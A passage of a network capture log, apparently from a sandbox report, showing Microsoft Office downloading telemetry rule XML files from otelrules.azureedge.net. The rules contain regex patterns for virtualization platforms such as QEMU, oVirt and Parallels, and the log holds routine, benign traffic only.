2024-11-26 07:04:52 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:52 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070452Z-174f7845968ljs8phC1EWRe6en0000000v00000000002uec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:52 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070453Z-174f7845968g6hv8hC1EWR1v2n00000002x000000000cuu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:53 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070453Z-174f7845968cdxdrhC1EWRg0en0000000v1g000000006wga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:54 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:54 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:54 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070454Z-174f7845968glpgnhC1EWR7uec0000000vag000000001c69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:54 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:54 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:54 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070454Z-174f7845968swgbqhC1EWRmnb40000000vb0000000000uqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:55 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:54 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:55 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070455Z-174f7845968glpgnhC1EWR7uec0000000v5000000000c824 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:55 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:55 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:55 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070455Z-174f7845968cpnpfhC1EWR3afc0000000ung00000000agd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:04:55 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:55 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:55 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070455Z-174f7845968ljs8phC1EWRe6en0000000uwg000000008tvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:55 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:56 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:56 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070456Z-174f7845968cdxdrhC1EWRg0en0000000v3g000000002s4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:57 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:56 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:57 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070457Z-174f7845968cdxdrhC1EWRg0en0000000v3g000000002s4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:57 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:56 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070457Z-174f7845968zgtf6hC1EWRqd8s0000000mxg00000000dv38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:57 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
